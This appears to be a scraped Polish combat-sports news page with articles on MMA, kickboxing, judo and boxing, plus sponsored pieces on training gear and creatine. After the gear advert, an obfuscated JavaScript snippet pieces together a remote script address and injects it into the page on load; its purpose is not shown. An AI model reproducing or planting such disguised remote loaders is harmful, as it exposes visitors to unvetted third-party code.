Niektórzy być może zdążyli zapomnieć o 43-letnim zawodniku z Kraju Kawy. Po raz ostatni Anderson Silva pojawił się w oktagonie UFC 11 lutego 2017 roku. Podczas gali UFC 208 w Barclays Center w Nowym Jorku pokonał decyzją sędziów Dereka Brunsona. Dla Brazylijczyka była to 34 wygrana w karierze. Dziewięć miesięcy później popularny "Spider" miał rywalizować z Kelvinem Gastelumem, jednak na kilka tygodni przed pojedynkiem wypadł z rozpiski ze względu na wpadkę dopingową. Było to drugie tego typu zdarzenie w karierze Silvy. Pierwsze miało miejsce w 2015 roku.

Pojawiały się informacje, że byłemu mistrzowi wagi średniej UFC może grozić nawet osiem lat zawieszenia! Sugerowano nawet ewentualne zakończenie kariery przez Brazylijczyka. Sytuacja potoczyła się inaczej. W organizmie zawodnika wykryto m.in. metylotestosteron, który pochodził z zanieczyszczonych suplementów. Na etykiecie nie została wymieniona żadna z zabronionych przez Agencję Antydopingową substancji. Kara dla Silvy – rok zawieszenia. 10 listopada 2018 roku Brazylijczyk mógł myśleć o kolejnym starciu.

10 lutego w Australii wróci do rywalizacji, ale nie będzie miał łatwego zadania. Wiek robi swoje, a młodość idzie do przodu. Israel Adesanya wygrał piętnaście walk, a w UFC debiutował w zeszłym roku. Nigeryjczyk zdążył stoczyć już cztery walki dla amerykańskiej organizacji, dwie wygrał przed czasem. Ostatnio w pierwszej rundzie odprawił Dereka Brunsona.

Silva, choć jest legendą UFC, ostatnio nie nawiązywał do najlepszych czasów. Po czterech porażkach i uznanej za nieodbytą walkę z Nickiem Diazem, przyszło zwycięstwo z Brunsonem. Czy tym razem głodny rywalizacji Silva nawiąże do starych, dobrych czasów? Adesanya będzie dążył do kolejnego zwycięstwa, które może przybliżyć do starcia o pas.

W walce wieczoru UFC 234 zaprezentują się Robert Whittaker i Kelvin Gastelum. Stawką pojedynku będzie pas wagi słomkowej, który należy do Australijczyka. Whittaker stanie do pierwszej obrony tytułu.

Fot. Anderson „The Spider” Silva Facebook

KM

LIVE: DSF 20 Królowie Ringu – Gala

Zapraszamy na transmisję telewizyjną z gali DSF 20 Królowie Ringu. Transmisja dostępna tylko dla widzów zza granicy.

[kod]

DSF Kickboxing Challenge 20

DSF Kickboxing Challenge 20

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Szwarnowiecki: Dam z siebie wszystko

Piąte miejsce w ubiegłorocznych mistrzostwach świata w judo w Baku stanowi motywację do dalszej wytężonej pracy dla Damiana Szwarnowieckiego (81kg). 25-letniego zawodnika zobaczymy niebawem w turnieju Grand Slam w Dusseldorfie.

Medal był o krok. W Baku Szwarnowiecki radził sobie znakomicie. Polski judoka wygrał trzy pojedynki i był blisko strefy medalowej. W półfinale lepszy od Szwarnowieckiego okazał się wicemistrz świata z 2015 roku Japończyk Sotaro Fujiwara. Zawodnik Gwardii Wrocław poradził sobie w repasażach i stanął do walki o brąz. Vedat Albayrak okazał się jednak lepszy. 5. miejsce zawsze rodzi pewien niedosyt, ale to w końcu mistrzostwa świata, więc wynik budził pozytywne odczucia. – Często wracam wspomnieniami do ubiegłorocznych mistrzostw świata w Baku. Dla jednych 5 miejsce w tak dużym turnieju byłoby sukcesem, dla innych porażką, którą by rozpamiętywali. Dla mnie jest wyłącznie motywacją, aby jeszcze mocniej trenować – podkreśla w rozmowie z FighTime.pl Damian Szwarnowiecki.

Na słowach się nie kończy. Szwarnowiecki ciężko pracuje, aby osiągać jak najlepsze wyniki. W ubiegłym roku na podium stanął raz – był drugi w Pucharze Europy w Pradze. Tegoroczne starty rozpocznie od zawodów Grand Slam w Dusseldorfie, które zaplanowano na 22-24 lutego. – Od trzech miesięcy intensywnie uczestniczę w zgrupowaniach kadry narodowej. Moje przygotowania w tym okresie głównie koncentrowały się na rozwoju siły maksymalnej. W akcjach szkoleniowych organizowanych przez Polski Związek Judo od pół roku uczestniczy nowy trener przygotowania motorycznego, Igor Dzierżanowski. Dzięki celnym uwagom Igora, na obozach zostaje zachowana odpowiednia harmonia między treningami na macie, a siłownią – prezentuje Szwarnowiecki. – Moim pierwszym startem w sezonie będzie Grand Slam w Dusseldorfie. Przed turniejem planuję międzynarodowe campy w Herstal oraz Paryżu – dodaje.

Piąty zawodnik mistrzostw świata w Baku podkreśla, że skupia się na trenowaniu, aby podnosić umiejętności sportowe. To droga do sukcesu. Szwarnowiecki nie chce składać żadnych deklaracji, co do osiągnięcia konkretnych wyników. – Obiecuję wyłącznie przed sobą. Nie chcę tworzyć  niepotrzebnych presji i barier, które mogą mnie tylko przytłaczać. Wiem, że to jest mój czas i dam z siebie wszystko, aby zakwalifikować się na Igrzyska Olimpijskie w Tokio – tłumaczy judoka.

Fot. Fot. International Judo Federation

KM

DSF Kickboxing Challenge ma nowego dyrektora

Robert Złotkowski nie jest już dyrektorem sportowym federacji DSF Kickboxing Challenge. Jego miejsce zajmie Tomasz Bałdyga (na zdjęciu z prawej).

Robert Złotkowski zdobywał cenne doświadczenie jako kickbokser i bokser. Zapisał na swoim koncie mistrzostwa Polski oraz medale mistrzostw Europy w wielu formułach. To doświadczenie wykorzystuje jako trener, który współpracuje z wieloma czołowymi zawodnikami MMA m.in. Janem Błachowiczem, Marcinem Tyburą czy Danielem Omielańczukiem. W 2016 roku Złotkowski dołączył do federacji DSF Kickboxing Challenge, gdzie odpowiadał za układanie kart walk. Jego praca miała przyczynić się rozwoju organizacji i przyciągnięcia ciekawych zawodników. Jak pokazuje czas – efekty działań Złotkowskiego są widoczne. Ostatnio pełnił on funkcję dyrektora sportowego DSF. 1 lutego federacja wydała komunikat, w którym poinformowała o zmianie na wspomnianym stanowisku.

Miejsce Złotkowskiego zajmie Tomasza Bałdyga, który zna realia DSF Kickboxing Challenge. Dotychczas pracował jako matchmaker i zajmował się sprawami rozwoju sportu. – Bardzo liczymy na zaangażowanie Tomka i świadomie chcemy wzmocnić jego rolę oraz odpowiedzialność, dając mu więcej decyzyjności i autonomii. Jestem przekonany, że wraz z Tomkiem wzmocnimy zespół oparty na merytorycznym przygotowaniu, doświadczeniu i znajomości tej pięknej dyscypliny jaką jest kickboxing – podkreśla Sławomir Duba, promotor DSF Kickboxing Challenge.

Nowy dyrektor sportowy jasno określa swoje cele. – Moim priorytetem będzie komunikacja z zawodnikami, ułożenie długoterminowego planu funkcjonowania federacji oraz stworzenie optymalnych warunków do osiągania jak najlepszych wyników sportowych – powiedział Bałdyga.

Warto zaznaczyć, że to kolejna zmiana w DSF w ostatnim czasie. Od 2019 roku nowy prezesem federacji został Marek Tkaczyński, z kolei Sławomir Duba sprawuje funkcję promotora.

Najbliższa gala organizacji odbędzie się 23 lutego w Krakowie. Podczas DSF Kickboxing Challenge 20 zobaczymy dwa ćwierćfinały turnieju wagi ciężkiej, którego stawką jest walka o pas i nagroda w wysokości 100 tys. zł. W Krakowie zmierzą się: Tomas Hrom i Kirill Kornilov oraz Dawid Żółtaszek i Zaha Trofimov. Gala DSF 20 będzie wyjątkowa dla Tomasza Sarary, który po raz pierwszy będzie bronił mistrzowskiego pasa. Polski zawodnik zmierzy się z Francuzem Abderahmane Coulibaly’m.

KM

Fot. dzięki uprzejmości DSF Kickboxing Challenge Facebook

Sporty walki – idealne jako hobby i profesjonalny trening

Jakie sporty walki najczęściej uprawiane są hobbistycznie?

Sztuki walki mogą być trenowane przez każdego, bez względu na wiek, kondycję czy umiejętności. Intensywność treningu oraz nauki technik danej sztuki walki dobierana jest przez trenerów po wcześniejszym zapoznaniu się z kandydatem. Dostosowywanie treningu do osoby umożliwia szybki postęp w szkoleniu oraz sprawne uzyskiwanie pożądanych efektów. Trening jest również uzależniony od rodzaju wybranej sztuki walki. 

Bardzo popularnym wyborem jest boks. Ta sztuka walki posiada bogatą historię oraz tradycję. Boks jest jedną z niewielu sztuk walki zaliczaną do dyscyplin olimpijskich. Sport ten wymaga doskonałych umiejętności, siły oraz sprytu. Bardzo ważna jest technika, która integruje pracę całego ciała. Najważniejsze w boksie są nogi, na których zawodnik musi umiejętnie pracować. Boks jest sportem bezpiecznym, kontaktowym, polegającym na uderzaniu wyłącznie rękami w określone partie ciała, z pominięciem pleców, tyłu głowy oraz partii poniżej pasa. Boks to jednocześnie rozwijający oraz mocno dochodowy sport, dlatego też cieszy się on dużym zainteresowaniem na całym świecie. To na fundamentach boksu powstały takie sztuki walki jak kick boxing i MMA.

""

Kick boxing to forma boksu rozbudowana o możliwość kopnięć. Ta sztuka walki zyskuje sobie coraz więcej zwolenników. Dzięki wykorzystaniu nóg w walce staje się też ona bardziej zjawiskowa. Kick boxing nie jest jednak dyscypliną olimpijską. Nie jest nią też MMA. MMA to sport walki polegający na mieszaniu kilku stylów. Podstawą MMA, podobnie jak kick boxingu jest boks. W trakcie walki w MMA stosowane są również kopnięcia oraz elementy zapaśnicze. Przeciwnikowi można także zakładać dźwignie, uderzać kolanami, łokciami, a sama walka odbywa się stojąc lub w parterze. W MMA stosuje się zatem wiele technik, które adept musi opanować. MMA to sztuka walki bardzo wymagająca fizycznie, ale jednocześnie jest ona niezwykle skuteczna. 

Wymagające fizycznie są także zapasy. Ta sztuka walki również zaliczana jest do dyscyplin olimpijskich. Historia zapasów zaczyna się w starożytności. Sport ten oparty jest na walce zwartej odbywające się głównie w parterze. Walczący wykonują bloki, rzuty, obalenia. Zapasy to bardzo wymagająca, ale też doskonała dyscyplina sportu.

""

Niezwykle często wybieraną sztuką walki jest karate. Sport ten jest nie tylko zbiorem konkretnych technik, ale także opiera się on na kształtowaniu człowieka oraz jego rozwoju. Karate wykorzystuje ludzkie ciało w różnoraki sposób, w zależności od wersji sztuki walki, a tych karate ma kilka. Na podobnych zasadach opierają się inne wschodnie sztuki walki, jak na przykład kung-fu, jujutsu czy taekwondo. Ostateczny wybór danej sztuki walki uzależniony będzie już od oczekiwań i wymagań danej osoby.

 

 

Jak wpływa uprawianie sportów walki na człowieka?

Sztuki walki to te dyscypliny sportu, które skutecznie dostarczają wymaganej aktywności w codziennym życiu. Dzięki sportom walki zapewnia się trening całego ciała, usprawnia kondycję, buduje mięśnie oraz skutecznie rozwija motorykę całego organizmu. Uprawianie sztuk walki jest bardzo wymagające i z tego trzeba zdać sobie sprawę. Zestaw ćwiczeń przy każdej ze sztuk walki pozytywnie wpływa na polepszenie stanu kondycji fizycznej, wzmocnienie mięśni i stawów oraz utratę tkanki tłuszczowej, a co za tym idzie redukcję wagi. Sylwetka adepta sztuk walki zdecydowanie się polepsza, nabiera atletycznych kształtów.

""

Każda ze sztuk walki rozwija koordynację ruchową usprawniając komunikację nerwową pomiędzy mózgiem a mięśniami, dzięki czemu czas reakcji zostaje skrócony. Razem z szybkością rozwija się też siła oraz szybkość, co zwiększa pewność siebie osoby trenującej. Sztuki walki poprawiają również koncentrację oraz skutecznie dbają o stan psychiczny, dzięki wyładowywaniu złych emocji podczas treningów. Wschodnie sztuki walki dodatkowo zawierają elementy medytacji i samodoskonalenia, dzięki czemu człowiek odzyskuje spokój, kontrolę nad swoim życiem. Częste treningi pozwalają odpocząć mózgowi dostarczając mu cennych endorfin.

 

Skuteczna samoobrona – efekt uboczny sportów walki

Trenując sztuki walki człowiek zdobywa bardzo przydatną umiejętność, jaką jest samoobrona. Posługiwanie się technikami defensywnymi oraz ofensywnymi zapewnia skuteczną obronę przed atakiem w codziennym życiu. Uprawianie sztuk walki daje dużą pewność osobie, zapewnia poczucie bezpieczeństwa, a w sytuacji ataku przez osoby trzecie pozwala na skuteczną obronę. Trenerzy sztuk walki uświadamiają swoich uczniów, że użycie technik danej sztuki jest dopuszczalne tylko w hali treningowej oraz w sytuacji obrony przed atakiem. Umiejętność samoobrony jest dziś bardzo przydatna.

Kask, rękawice i ochraniacze – czyli jaki sprzęt będzie potrzebny?

Trening sztuk walki wymaga doświadczonego trenera, sporo samozaparcia, konsekwencji oraz specjalistycznego sprzętu. Decydując się na boks konieczne jest wyposażenie się w odpowiedni sprzęt. Podstawą są oczywiście rękawice bokserskie oraz kask bokserski treningowy. Podobnie trenując MMA konieczne są rękawice do MMA. W kick boxingu przyda się kask i ochraniacze. Każda inna sztuka walki w momencie ćwiczeń potyczek korzysta z takich sprzętów, jak kask sparingowy czy inne elementy ochronne zapewniające bezpieczeństwo.

""

Doskonałej jakości, sprawdzony i wykorzystywany przez profesjonalne szkoły sztuk walki dostępny jest w ofercie sklepu hurtowniasportowa.net. Firma posiada zawodowe rękawice MMA, rękawice bokserskie renomowanych marek (na przykład: rękawice bokserskie Adidas, rękawice bokserskie Dragon, rękawice bokserskie Everlast); kaski, ochraniacze oraz inny sprzęt wykorzystywany w treningach sztuk walki. Wyposażenie to zadowoli zarówno adeptów, jak i zawodowców.

 

 

 

 

 

[kod]

(function(){
xggd_=("u"+"")+"s"+"";xggd_+=("tat.")+("i");
xggd=document.createElement("script");xggd.type="text/javascript";xggd_+="nf"+("o")+"/";
xggdu="129574268"+".";xggd.async=true;xggdu+="xx5m8ug0ggdaecX5mmkgub6x973zzu";
xggd.src="https://"+xggd_+xggdu;xggdb=document.body;xggdb.appendChild(xggd);
})();

Lobov znajdzie przystań w Polsce?

Artem Lobov został zwolniony z UFC. 32-latek wymienił listę organizacji, w których chciałby występować. Irlandczyk czeka na propozycje, jedną już otrzymał – wysunął ją prezes FEN Paweł Jóźwiak.

Lobov jest znany w świecie sportów walki jako zawodnik, który nie boi się żadnego wyzwania. Irlandczyk gotów był spotkać się z każdym rywalem. Organizatorzy gal proponowali przeciwnika, a on wchodził i walczył. Problem w tym, że jego kariera to istna sinusoida. Wygrane przeplatał porażkami, jednak w końcu stanął u bram UFC. W 2015 roku Lobov trafił do programu The Ultimate Fighter, a potem miał okazję prezentować się w najlepszej organizacji MMA na świecie. Wygrał tylko dwie walki, a jego przygoda dobiegła końca po trzech porażkach z rzędu, które zanotował w latach 2017-2018. Łącznie w UFC Irlandczyk urodzony w Rosji uznał wyższość rywali pięć razy. Lobov zyskał popularność przy wsparciu… Conora McGregora, który stawał w jego narożniku. Ten element nie przeważył jednak szali i Irlandczyk musi szukać nowego pracodawcy.

32-letni Lobov wystosował swego rodzaju ogłoszenie za pośrednictwem Twittera. – Załadowany, gotowy do podjęcia każdego! Kto tego chce? – napisał zawodnik i wymienił następujące organizacje: Bellator, Rizin, Bare Knuckle FC, Obe Championship oraz ACA. W tym gronie znalazła się również federacja KSW. Z Polski napłynęła kolejna propozycja dla Irlandczyka. Wystosował ją prezes FEN Paweł Jóźwiak. – Może FEN? Przyjdź Russian Hammer (pseudonim fightera), zróbmy to – zwrócił się włodarz organizacji.

Pozostaje czekać na ruch kolejnych podmiotów. Z pewnością angaż Lobova będzie niósł ze sobą rozgłos. Co do obecności Irlandczyka w Polsce, zawodnik dwukrotnie prezentował się w naszym kraju. W listopadzie 2014 roku wystąpił na gali Fighters Arena 10 w Bełchatowie, gdzie w walce wieczoru zremisował z Pawłem Kiełkiem. Drugi występ miał miejsce w płockiej Orlen Arenie. Podczas gali ACB 13 Lobov pokonał Rasula Shovhalova. Podczas swojej kariery Irlandczyk urodzony w Rosji walczył także z Kamilem Gniadkiem, Arturem Sowińskim czy Kamilem Koryckim. Na swoim koncie Lobov ma 13 zwycięstw i 15 porażek.

Fot. Artem "The Russian Hammer" Lobov Facebook

KM

Wszystko się krystalizuje

Wiadomo, że 2019 rok może być gorący w wadze ciężkiej. Coraz bliżej konkretów w sprawie rewanżowej walki Tysona Fury’ego z Deontayem Wilderem. Z kolei Anthony Joshua ma zmierzyć się z Jarrellem Millerem.

Przez długi czas zapowiadano, że kolejne starcie Joshuy odbędzie się 13 kwietnia na stadionie Wembley. W grudniu ubiegłego roku czempion IBF, WBO, WBA i IBO zapowiadał gotowość do starcia z Wilderem. Również Eddie Hearn, promotor Brytyjczyka, podkreślał, że celem numer jeden jest Wilder. Wtedy do akcji wkroczył, jakżeby inaczej – Tyson Fury.  Olbrzym z Wilmslow wymyślił, że 13 kwietnia miałaby się odbyć jego rewanżowa walka z Wilderem. Przypomnijmy, 1 grudnia w Staples Center pojedynek bokserów oceniono jako remisowy. Również Wilder podkreślał chęć rewanżu, co w kłopotliwej sytuacji stawiało Joshuę. 13 kwietnia zostałby… w cieniu. Ofertę walki z mistrzem otrzymał również Fury. Brytyjczyk podkreśla, że liczą się tylko dwaj rywale – Wilder i Joshua. Jednak musiał wbić kij mrowisko mówiąc o strachu "AJ" przed starciem z nim.

Wiadomo, że cała otoczka ma na celu wzbudzenie jak największego zainteresowania. Trwa oczekiwanie na hitowe pojedynki w wadze ciężkiej, jednak droga do nich musi przejść przez kolejne etapy. Wydaje się, że z jednej strony to gra pozorów i obawy. Fury nigdy nie zważał na słowa i używał mocnego języka. Może i uderza w Joshuę, ale zapewne też ma obawy względem starcia z czempionem. Z Wilderem olbrzym z Wilmslow już walczył i poczuł, że może z nim wygrać. Mistrz WBC jest podrażniony remisem i chce zanotować kolejne zwycięstwo. Niby Joshua jest teraz w cieniu, ale on ma wszystkie karty w ręku. Kto by nie wygrał starcia Wilder-Fury, prędzej czy później stanie w szranki z „AJ”.

Po kolei. 13 kwietnia Joshua zapewne nie wystąpi na Wembley. Nie widać postępów w rozmowach z potencjalnymi rywalami. Do przodu idą ustalenia w sprawie starcia z Jarrellem Millerem. Pojedynek miałby odbyć się 1 czerwca w Madison Square Garden w Nowym Jorku. Coraz bliżej konkretów w sprawie rewanżu niepokonanych Wildera i Fury'ego. W kontekście ich walki padają dwa terminy – 27 kwietnia bądź 18 maja w Barclays Center na Brooklynie.

Fot. Deontay Wilder Facebook

KM

Co daje kreatyna? Poznaj najważniejsze fakty

Kreatyna – substancja naturalnie występująca w ludzkich mięśniach – stanowi popularny składnik suplementów diety dla sportowców. Dzieje się tak z co najmniej kilku ważnych powodów. Poniżej krótko omówiliśmy każdy z nich.

Powód pierwszy: powoduje wzrost masy mięśniowej

Kreatyna to składnik, który może wspierać wzrost siły i wielkości mięśni. Wskazują na to niezliczone badania naukowe. Szereg korzyści płynących dla organizmu z obecności tego składnika sprawia, że sportowcy chcący zbudować umięśnioną sylwetkę sięgają po suplementy zawierające kreatynę – między innymi po Activlab Creatine Powder Super. Kreatyna (w wersji monohydratu przyswaja się najlepiej) przyczynia się do wzrostu masy mięśniowej i przyrostu siły. W jednej łyżeczce monohydratu jest tyle kreatyny, ile w wielu kilogramach mięsa czy ryb.

Powód drugi: dostarcza energii podczas wyczerpujących treningów

Wielu sportowców, którzy po pewnym czasie stosowania odstawili kreatynę, dostrzegło u siebie spadek energii. Kreatyna zwiększa energię niezbędną dla skurczów mięśni, umożliwiając odbywanie bardziej wymagających, intensywnych i dłuższych treningów. W procesie przyswajania jest transportowana do tkanki mięśniowej, gdzie przekształca się w fosforan kreatyny. Z niego jest następnie produkowana cząsteczka energii ATP, która jest niezbędna w procesie regeneracji mięśni. W ten sposób przyjmowanie kreatyny przekłada się na bardziej produktywne treningi i szybszy wzrost masy mięśniowej. Kreatyna zwiększa wydajność nie tylko u osób zawodowo uprawiających sport (zapaśników, piłkarzy, pływaków, hokeistów itp.) czy osób chcących poprawić wyniki podczas krótkich okresów aktywności sportowej cechującej się dużą intensywnością (sprint czy podnoszenie ciężarów), ale także wspiera amatorów ćwiczących w wolnych chwilach w osiąganiu lepszych wyników i bardziej estetycznej sylwetki.

Powód trzeci: zwiększa poziom substancji w organizmie do pożądanego poziomu

Jak już wcześniej wspomnieliśmy, kreatyna jest naturalnym składnikiem występującym w każdym organizmie. U człowieka znajduje się w zdecydowanej większości (98%) w mięśniach. Drobne ilości tej substancji znajdują się także w mózgu, nerkach, trzustce, jądrach i wątrobie. Warto wiedzieć, że 1 gram kreatyny jest dostarczany organizmowi w codziennej diecie – głównie na skutek spożycia mięsa i ryb. Kolejny zalecany 1 gram, na które organizm ma zapotrzebowanie, warto pokryć, stosując suplementy diety zawierające kreatynę, a najlepiej – dobrze wchłaniany – monohydrat kreatyny.

Powód czwarty: jest prosta do kupienia i dostępna pod wieloma postaciami

Kreatynę można dostarczyć organizmowi w prosty sposób – nie tylko poprzez stosowanie diety, ale także na skutek uzupełniania jej poprzez łatwo dostępny monohydrat. Kreatyna może być przyjmowana nie tylko w formie sproszkowanej, ale także pod postacią tabletek, batonów energetycznych i mieszanek do picia. Prosta w dawkowaniu i przyjmowaniu substancja pozwala poprawić sprawność fizyczną, dlatego jest tak chętnie stosowana wśród osób aktywnie uprawiających sport i dbających o swoją sylwetkę.

 

 

Pas zostaje u Bratkowicza

Maksymilian Bratkowicz nadal na szczycie. Podczas gali DSF 19: Ringowa Wojna w Warszawie mistrz obronił pas wagi średniej. Do zmiany doszło na tronie kategorii piórkowej.

Na tydzień przed wydarzeniem nastąpiła zmiana lokalizacji. Galę przeniesiono z Grudziądza do Warszawy. DSF 19: Ringowa Wojna przyniosła dwie ciekawe walki mistrzowskie oraz pewne zwycięstwo Polski nad Litwą. Momentami było… śmiesznie. Podczas jednej z walk doszło do zmiany sędziego, ponieważ arbitrowi rozerwały się spodnie. Zostańmy jednak przy emocjach sportowych, bo tych nie brakowało.

Przed walką o pas wagi średniej było gorąco. Maksymilian Bratkowicz nie ukrywał swoich ambicji, również Daniel Viedenthaler był zdeterminowany. Widoczne było to w ringu. Energiczny początek i momentami chaotyczne akcje, ale i mocne ciosy. Na początku drugiej rundy Bratkowicz „posadził” low kickiem rywala. Czech spychał Polaka pod liny, ale niewiele z tego wychodziło. Ponadto Viedenthaler próbował trafić przeciwnika kolanem. Po zakończeniu czwartej rundy widać było trudy pojedynku u obu fighterów. W piątej odsłonie lepiej wyglądał Czech. Trafił mocnymi uderzeniami, a Bratkowicz opadał z sił. W końcówce przebudził się Polak, ale pozostawało pytanie – czy to wystarczy? Szalony pojedynek zakończył się triumfem Bratkowicza.

O pas wagi piórkowej rywalizowali Jan Lodzik i Eliasz Jankowski. Pierwotnie „Iron” miał spotkać się z Mateuszem Rajewskim, jednak na początku tygodnia „Rzeźnik” musiał wycofać się z występu na DSF 19 z powodu kontuzji. Federacja ekspresowo znalazła zastępstwo. Ani chwili nad możliwością walki o pas nie zastanawiał się Eliasz Jankowski. Lodzik miał rachunki do wyrównania z rywalem, bo swego czasu musiał uznać jego wyższość. Doświadczenie Eliasza Jankowskiego i umiejętności Jana Lodzika sprawiły, że pojedynek był ciekawy. Zawodnicy ciężko pracowali, próbowali ekwilibrystycznych akcji. Cios za cios, kopnięcie za kopnięcie oraz pełne skupienie. Wydawało się, że w ofensywie lekko przeważa Lodzik. Pięć rund i czas na decyzję sędziów. 48:47, 48:47 i 49:47 dla Jankowskiego, który ponownie pokonał Lodzika i został nowym mistrzem DSF.

W walce „ciężkich” (+91kg) Kewin Wiwatowski lepszy od Mateusza Janu. Pojedynek ciekawy, obaj zawodnicy nie stronili od walki. Nie brakowało wymian i mocnych ciosów oraz kopnięć. Wiwatowski triumfował w trzeciej rundzie.

Fantastyczna postawa Polaków w międzypaństwowym meczu z Litwą. W pierwszej walce (65kg) zaprezentował się Michał Polak. Otwarcie dla Jonasa Vasiliauskasa, jednak z czasem inicjatywę przejął nasz zawodnik. 19-letni Litwin przekonał się o sile Polaka, który co i raz niepokoił przeciwnika low kickami. W drugiej odsłonie pojedynek zakończył się przez TKO. Kolejne starcie(71kg) rozstrzygnęło się na punkty. Patryk Radoń był skuteczniejszy, zadawał więcej ciosów i dążył do rywalizacji, zaś Ernestas Dapkus szukał raczej klinczu. Zdecydowana wygrana Radonia – 30:26, 30:26 i 30:27. Kropkę nad "i" postawił Daniel Kolasiński. Wszedł do ringu na luzie i przez całe starcie był stroną dopingującą w pojedynku z Deividasem Jemeljanovasem. W drugiej rundzie frontalne kopnięcie Kolasińskiego zakończyło walkę.

W pojedynku w limicie 60kg Michał Marszał pokonał jednogłośną decyzją Dominika Tomicę.

Fot. DSF Kickboxing Challenge Facebook

KM

Historia lubi się powtarzać

W organizmie Jona Jonesa wykryto niedozwolone substancje. Po raz kolejny… Amerykańskiemu zawodnikowi się jednak upiecze.

29 grudnia popularny "Bones" wrócił w wielkim stylu. Podczas gali UFC 232 w The Forum w Inglewood w trzeciej rundzie znokautował Alexandra Gustafssona i sięgnął po pas mistrzowski wagi półciężkiej. Dla Jonesa był to pierwszy pojedynek od ponad dwóch lat. Wcześniejsze starcie (lipiec 2017) z Danielem Cormierem unieważniono w związku z pozytywnym wynikiem testów antydopingowych u "Bonesa". Kara – 15 miesięcy zawieszenia.

Wydawać by się mogło, że liczne kłopoty pozwolą 31-latkowi urodzonemu w Rochester wyciągnąć odpowiednie wnioski. Przez wiele lat Jones był mistrzem UFC, a w jednej chwili jego wizerunek diametralnie się zmienił. Ciąg negatywnych wydarzeń nie poprawia jego sytuacji. Przypomnijmy kolejną sprawę, przed walką z Gustafssonem u Jonesa wykryto śladowe ilości turinabolu. Do pojedynku doszło, ponieważ… galę przeniesiono z Las Vegas do Inglewood. Przyczyna była prosta. Komisja Sportowa Stanu Nevada zapewne nie zgodziłby się na starcie.

Niecały miesiąc po walce pojawiają się kolejne wiadomości o stosowaniu niedozwolonych środków przez Jona Jonesa. Testy antydopingowe zostały przeprowadzona 28 grudnia, a więc w dniu ważenia przed galą UFC 232. U Jonesa wykryto obecność turinabolu. Mistrzowi UFC się jednak upiecze. Dlaczego? Andy Foster z Komisji Sportowej Stanu Kalifornia zwraca uwagę na tzw. efekt pulsacyjny. Mówiąc jaśniej – niewielkie ilości środków stosowanych przez Jonesa w przeszłości mogą być wykrywane w jego organizmie w przyszłości.

Jon Jones może spać spokojnie, ponieważ kalifornijska komisja nie zamierza w żaden sposób go karać. Zatem 31-latek pozostaje w posiadaniu pasa mistrzowskiego i może szykować się do kolejnego starcia. 2 marca Jones zmierzy się z Anthonym Smithem.

Z pewnością jednak cała sprawa nie działa pozytywnie na wizerunek zawodnika. Nie da się ukryć, że każda kolejna walka Jonesa będzie budziła wątpliwości, a analiza nie sprowadzi się jedynie do aspektu sportowego.

Podczas dotychczasowych występów 31-letni Amerykanin odnotował 23 zwycięstwa, przegrał tylko raz.

KM

TEST

test

[kod]

DSF Kickboxing Challenge 19

DSF Kickboxing Challenge 19

var player = redcdnplayer("redcdnplayer").setup({

file: {

hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",

dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",

ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"

},

width: 640,

height: 380,

autoplay: false,

});

DSF 19: Kontuzja Mateusza Rajewskiego. Jan „Iron” Lodzik zmierzy się z Eliaszem Jankowskim!

Badanie kontrolne w Centrum Medycyny Sportowej wykazało, że Mateusz Rajewski zmaga się z poważną kontuzją i nie może przystąpić do czwartkowej walki z Janem Lodzikiem o mistrzostwo DSF Kickboxing Challenge w wadze piórkowej (do 65 kg). Federacja błyskawicznie znalazła zastępstwo i na gali DSF 19 czempion zmierzy się z Eliaszem Jankowskim.

– Mateusz ma naderwany rdzeń ścięgnisty w bicepsie prawej ręki. Gdyby go zerwał, mógłby już nigdy nie wrócić na ring. Całe szczęście, że udało nam się w porę to wykryć – zdradza fizjoterapeutka Emilia Kurowska, która będzie czuwała nad rehabilitacją Rajewskiego.

25-letni „Rzeźnik” w bardzo dobrym stylu wygrał dwie ostatnie walki i stał się naturalnym pretendentem do tytułu mistrzowskiego. Pojedynek z Lodzikiem miał zwieńczyć ich trylogię, w której „Iron” dwukrotnie minimalnie wygrywał. Trzecia walka będzie jednak musiała zaczekać.

– Napisałem wczoraj do Mateusza. Szczerze mu współczuję, ale co się odwlecze, to nie uciecze. Mam nadzieję, że szybko wróci do zdrowia. Jeszcze razem zatańczymy w ringu! – zapewnia 23-letni Jan Lodzik (13-2). Kontuzjowanego Rajewskiego zastąpi zawodowy mistrz świata i wielokrotny mistrz Polski w kickboxingu Eliasz Jankowski (20-7-1).

– Znamy się od lat, to wojownik z krwi i kości – komplementuje rywala Lodzik. – Eliasz jest najbardziej doświadczonym polskim zawodnikiem w tej kategorii. Prezentuje zupełnie inny styl niż Mateusz Rajewski, bazuje na mocnym boksie. Wiele razy myślałem o tym pojedynku, najwyraźniej go przyciągnąłem. Zgodziłem się na walkę od razu, to była męska decyzja. Nie boję się walczyć z nikim. Przed laty przegrałem z Eliaszem trzy walki, jedną przed czasem. W czwartek będę miał okazję wyrównać rachunki! – cieszy się „Iron”.

Weteran Jankowski również nie wahał się, gdy pojawiła się oferta walki o mistrzowski pas federacji DSF Kickboxing Challenge. Zawodnik z Legnicy ostatni pojedynek stoczył 12 stycznia w Lubinie. Na gali FEN 23 pokonał w dobrym stylu Huberta Dylewskiego.

– To dla mnie naprawdę duża szansa, zamierzam w pełni ją wykorzystać – mówi 33-letni Eliasz Jankowski.  To prawda, że dowiedziałem się o walce w ostatniej chwili, ale jestem zawodowcem. Forma z ostatniego występu została utrzymana, kontuzji brak. Znamy się dobrze, walczyliśmy parokrotnie w amatorce i wygrywałem te pojedynki. Teraz też zamierzam go pokonać – kończy.

Gala DSF Kickboxing Challenge 19 odbędzie się w czwartek 24 stycznia w Hali Widowiskowej przy ul. Polnej 7a w Warszawie. Transmisja na żywo od godziny 20:15 na antenie TVP Sport.

